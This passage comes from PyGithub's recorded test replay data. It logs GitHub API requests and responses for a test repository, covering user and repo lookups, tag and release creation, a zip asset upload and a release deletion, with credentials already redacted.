'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:18 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4836'), ('X-RateLimit-Reset', '1594712356'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1039c613d53fc326a57948b331c2cbd7"'), ('Last-Modified', 'Tue, 14 Jul 2020 06:44:17 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B6DE:3F86:BA137:20C025:5F0D5442')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28530301","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28530301/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28530301/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.25.2","id":28530301,"node_id":"MDc6UmVsZWFzZTI4NTMwMzAx","tag_name":"v1.25.2","target_commitish":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","name":"release title","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T06:44:17Z","assets":[{"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22855021","id":22855021,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODU1MDIx","name":"file_name","label":"unit test artifact","uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"text/plain","state":"uploaded","size":20,"download_count":0,"created_at":"2020-07-14T06:44:17Z","updated_at":"2020-07-14T06:44:18Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.25.2/file_name"}],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.25.2","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.25.2","body":"release message"} https DELETE api.github.com None /repos/rickrickston123/RepoTest/releases/28530301 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:19 GMT'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4835'), ('X-RateLimit-Reset', '1594712357'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'B6E6:7F2B:3306BE:7733DF:5F0D5443')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ReleaseModify.testUploadAssetWithName.txt0000644000175100001660000007045214756101563026237 0ustar00runnerdockerhttps GET api.github.com None /users/rickrickston123 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:19 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4834'), ('X-RateLimit-Reset', '1594712356'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f72fa7561e862bb9391d5440956a4d9b"'), ('Last-Modified', 'Tue, 14 Jul 2020 06:41:30 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B6F2:0304:527172:B6E41F:5F0D5443')] {"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false,"name":null,"company":null,"blog":"","location":null,"email":null,"hireable":null,"bio":null,"twitter_username":null,"public_repos":2,"public_gists":0,"followers":0,"following":0,"created_at":"2020-05-02T22:39:16Z","updated_at":"2020-07-14T06:41:30Z","private_gists":0,"total_private_repos":2,"owned_private_repos":2,"disk_usage":65,"collaborators":0,"two_factor_authentication":false,"plan":{"name":"free","space":976562499,"collaborators":0,"private_repos":10000}} https GET api.github.com None /repos/rickrickston123/RepoTest {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:20 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4833'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"99dcef5058cca871445c2e0d357c6ff7"'), ('Last-Modified', 'Sun, 12 Jul 2020 07:34:45 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B6FA:7FF2:9FFA1E:10C301D:5F0D5444')] {"id":279015286,"node_id":"MDEwOlJlcG9zaXRvcnkyNzkwMTUyODY=","name":"RepoTest","full_name":"rickrickston123/RepoTest","private":false,"owner":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"html_url":"https://github.com/rickrickston123/RepoTest","description":null,"fork":false,"url":"https://api.github.com/repos/rickrickston123/RepoTest","forks_url":"https://api.github.com/repos/rickrickston123/RepoTest/forks","keys_url":"https://api.github.com/repos/rickrickston123/RepoTest/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rickrickston123/RepoTest/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rickrickston123/RepoTest/teams","hooks_url":"https://api.github.com/repos/rickrickston123/RepoTest/hooks","issue_events_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues/events{/number}","events_url":"https://api.github.com/repos/rickrickston123/RepoTest/events","assignees_url":"https://api.github.com/repos/rickrickston123/RepoTest/assignees{/user}","branches_url":"https://api.github.com/repos/rickrickston123/RepoTest/branches{/branch}","tags_url":"https://api.github.com/repos/rickrickston123/RepoTest/tags","blobs_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/refs{/sha}","trees_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rickrickston123/RepoTest/statuses/{sha}","languages_url":"https://api.github.com/repos/rickrickston123/RepoTest/languages","stargazers_url":"https://api.github.com/repos/rickrickston123/RepoTest/stargazers","contributors_url":"https://api.github.com/repos/rickrickston123/RepoTest/contributors","subscribers_url":"https://api.github.com/repos/rickrickston123/RepoTest/subscribers","subscription_url":"https://api.github.com/repos/rickrickston123/RepoTest/subscription","commits_url":"https://api.github.com/repos/rickrickston123/RepoTest/commits{/sha}","git_commits_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits{/sha}","comments_url":"https://api.github.com/repos/rickrickston123/RepoTest/comments{/number}","issue_comment_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues/comments{/number}","contents_url":"https://api.github.com/repos/rickrickston123/RepoTest/contents/{+path}","compare_url":"https://api.github.com/repos/rickrickston123/RepoTest/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rickrickston123/RepoTest/merges","archive_url":"https://api.github.com/repos/rickrickston123/RepoTest/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rickrickston123/RepoTest/downloads","issues_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues{/number}","pulls_url":"https://api.github.com/repos/rickrickston123/RepoTest/pulls{/number}","milestones_url":"https://api.github.com/repos/rickrickston123/RepoTest/milestones{/number}","notifications_url":"https://api.github.com/repos/rickrickston123/RepoTest/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rickrickston123/RepoTest/labels{/name}","releases_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases{/id}","deployments_url":"https://api.github.com/repos/rickrickston123/RepoTest/deployments","created_at":"2020-07-12T07:34:41Z","updated_at":"2020-07-12T07:34:45Z","pushed_at":"2020-07-14T00:11:49Z","git_url":"git://github.com/rickrickston123/RepoTest.git","ssh_url":"git@github.com:rickrickston123/RepoTest.git","clone_url":"https://github.com/rickrickston123/RepoTest.git","svn_url":"https://github.com/rickrickston123/RepoTest","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"delete_branch_on_merge":false,"network_count":0,"subscribers_count":0} https GET api.github.com None /repos/rickrickston123/RepoTest/commits {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:20 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4832'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1ecac7ea1780c4d77d519466d2894d79"'), ('Last-Modified', 'Sun, 12 Jul 2020 07:34:42 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B702:3E9B:99C0CE:1069295:5F0D5444')] [{"sha":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","node_id":"MDY6Q29tbWl0Mjc5MDE1Mjg2OjgxM2RhNTI4ZGE0NmVmNGNiYjI4ZDIwMThlYWE2ZDRiM2Q1NmY0MGY=","commit":{"author":{"name":"rickrickston123","email":"64711998+rickrickston123@users.noreply.github.com","date":"2020-07-12T07:34:42Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2020-07-12T07:34:42Z"},"message":"Initial commit","tree":{"sha":"c56099e10207d5a7021b4485eda0afc18946727a","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/trees/c56099e10207d5a7021b4485eda0afc18946727a"},"url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\nwsBcBAABCAAQBQJfCr0SCRBK7hj4Ov3rIwAAdHIIAEPYazT1x/QUozS6/rF1YLeX\nK50UqPFfnWA1IRwAVdYEy6Nwmb7bNuIeTna/GFi7BybozBOk2HMfQW2dhoZD35FC\nmGTk6mcy+hyaCrO7sGmCGhbVdcY86X3WxrRABzUqBGeo29CnEtjOfPnmBuW5MTNr\nnq3TBU7mjWZi09ivXIrfYWqxCEpMm4vHRPBZSgzuj/IgZLmQccgIyZu4v0GNkGQk\ngVceI/P849EX+rVSG73YAntlZIJaivqgZO5fvsdQjz92PAMM7bAKf1u7Vg4bt4Yw\n0YSAcXrFPky+kPE6CoXjx2uWVdyISs7RRWJS034z64nckExs99eKbCryjhBJwIA=\n=6HU0\n-----END PGP SIGNATURE-----\n","payload":"tree c56099e10207d5a7021b4485eda0afc18946727a\nauthor rickrickston123 <64711998+rickrickston123@users.noreply.github.com> 1594539282 -0700\ncommitter GitHub 1594539282 -0700\n\nInitial commit"}},"url":"https://api.github.com/repos/rickrickston123/RepoTest/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","html_url":"https://github.com/rickrickston123/RepoTest/commit/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","comments_url":"https://api.github.com/repos/rickrickston123/RepoTest/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f/comments","author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[]}] https POST api.github.com None /repos/rickrickston123/RepoTest/git/tags {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"tag": "v1.25.2", "message": "tag message", "object": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f", "type": "commit"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:21 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '694'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4831'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"72dc04ae35e7a8e67664283536ff8c77"'), ('Location', 'https://api.github.com/repos/rickrickston123/RepoTest/git/tags/e7ccfe265a999854482ea44711f395e9651b8ec6'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'B70A:3CA1:9945FD:10789D5:5F0D5444')] {"node_id":"MDM6VGFnMjc5MDE1Mjg2OmU3Y2NmZTI2NWE5OTk4NTQ0ODJlYTQ0NzExZjM5NWU5NjUxYjhlYzY=","sha":"e7ccfe265a999854482ea44711f395e9651b8ec6","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/tags/e7ccfe265a999854482ea44711f395e9651b8ec6","tagger":{"name":"rickrickston123","email":"64711998+rickrickston123@users.noreply.github.com","date":"2020-07-14T06:44:21Z"},"object":{"sha":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","type":"commit","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f"},"tag":"v1.25.2","message":"tag message","verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}} https POST api.github.com None /repos/rickrickston123/RepoTest/releases {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"tag_name": "v1.25.2", "name": "release title", "body": "release message", "draft": false, "prerelease": false, "target_commitish": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:21 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1839'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4830'), ('X-RateLimit-Reset', '1594712356'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"f864b631d99bf8f29a360e7fb7857fa3"'), ('Location', 'https://api.github.com/repos/rickrickston123/RepoTest/releases/28530302'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'B716:4A5D:1388D5:37F0F6:5F0D5445')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28530302","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28530302/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28530302/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.25.2","id":28530302,"node_id":"MDc6UmVsZWFzZTI4NTMwMzAy","tag_name":"v1.25.2","target_commitish":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","name":"release title","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T06:44:21Z","assets":[],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.25.2","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.25.2","body":"release message"} https POST uploads.github.com None /repos/rickrickston123/RepoTest/releases/28530302/assets?label=&name=foobar.zip {'Content-Length': '140', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/zip'} <_io.BufferedReader name='archive.zip'> 201 [('Cache-Control', 'no-cache'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Type', 'application/json; charset=utf-8'), ('Etag', 'W/"b89fe5716c29d454625f7f5d186a9f5e"'), ('Last-Modified', 'Tue, 14 Jul 2020 06:44:22 GMT'), ('Strict-Transport-Security', 'max-age=31557600'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('X-Content-Type-Options', 'nosniff'), ('X-Frame-Options', 'deny'), ('X-Github-Media-Type', 'github.v3; format=json'), ('X-Xss-Protection', '1; mode=block'), ('Date', 'Tue, 14 Jul 2020 06:44:22 GMT'), ('Transfer-Encoding', 'chunked'), ('X-GitHub-Request-Id', '9332:5EB7:2A9C59:30AF41:5F0D5446')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22855026","id":22855026,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODU1MDI2","name":"foobar.zip","label":"","uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"application/zip","state":"uploaded","size":140,"download_count":0,"created_at":"2020-07-14T06:44:22Z","updated_at":"2020-07-14T06:44:22Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.25.2/foobar.zip"} https GET api.github.com None /repos/rickrickston123/RepoTest/releases/28530302 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:22 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4827'), ('X-RateLimit-Reset', '1594712356'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"54faa198e617141d32f1bcfa36b31546"'), ('Last-Modified', 'Tue, 14 Jul 2020 06:44:21 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), 